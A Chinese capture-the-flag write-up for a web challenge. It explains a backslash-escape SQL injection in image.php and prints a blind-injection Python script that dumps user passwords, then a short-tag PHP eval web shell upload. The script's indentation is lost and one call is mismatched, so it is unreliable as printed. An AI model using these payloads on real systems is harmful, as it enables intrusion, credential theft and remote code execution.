看见界面。一个登陆框。
尝试register.php。。并没有。看下robots.txt
然而。index.php并没有bak备份
看源代码。发现个image.php还带id?十有八九sql注入
访问下image.php.bak。成功下载文件
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
GET接收两个参数,id和path。并且通过addslashes增加斜杠。然后替换为空。
根据经验。漏洞一定出在过滤中。
替换了\0,但其实替换的是\0,因为\会转义为普通
这里本地写了段代码。测试下
发现\0会被转义为\\0,进行过滤时。就会将\0给替换为空。只剩下\\。而\表示转义。多余的\就会逃逸
select * from images where id='\\\' or path=''
导致id处的后半个单引号被\转义。id的值为\\\' or path
path可控。我们就可以通过#去注释path的后半个单引号
select * from iamges where id='\\\' or path=' or 1#
即可返回正常
由于这里没有回显。我们可以通过盲注。进行注入
import requests
url=r'http://a563b70a-acef-493b-aacd-34608c733374.node3.buuoj.cn/image.php?id=\\0&path=or '
def tablelen():
for i in range(1,30):
payload='(select(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))='+str(i)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print ('tablenlen:'+str(i))
return i
def tablename(tablelen):
for i in range(1,tablelen+1):
for j in range(30,127):
payload='(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),'+str(i)+',1))='+str(j)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print(chr(j),end='')
break
def columnlen():
for i in range(1,30):
payload='(length((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273))='+str(i)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print ('columnlen:'+str(i))
return i
def columnname(columnlen):
columnname=''
for i in range(1,columnlen+1):
for j in range(30,127):
payload='(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273),'+str(i)+',1))='+str(j)+')%23'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print(chr(j),end='')
columnname+=chr(j)
break
return columnname
def dump(columnname):
for i in range(1,21):
for j in range(30,127):
payload='(ascii(substr((select group_concat(password) from users),'+str(i)+',1))='+str(j)+')--+'
result=requests.get(url=url+payload)
if ''!= result.text and '404' not in result.text:
print (chr(j),end='')
break
tablelen=tablelen()
tablename=tablename(tablelen)
columnlen=columnlen()
columnname=columnname(columnlen)
datalen=dump()
得到admin,d6948837c00b44421607
登陆后。有个上传。随便传点东西
我传了个FUZZ.txt
访问。貌似。会将我们的用户名和文件名写入这个php文件
尝试。直接写个eval($_POST[a]);
然而不行。再次尝试<?php eval($_POST[a]);?>
提示禁止php
尝试用PHP的短标签绕过
<?=@eval($_POST['a']);?>
成功上传。执行命令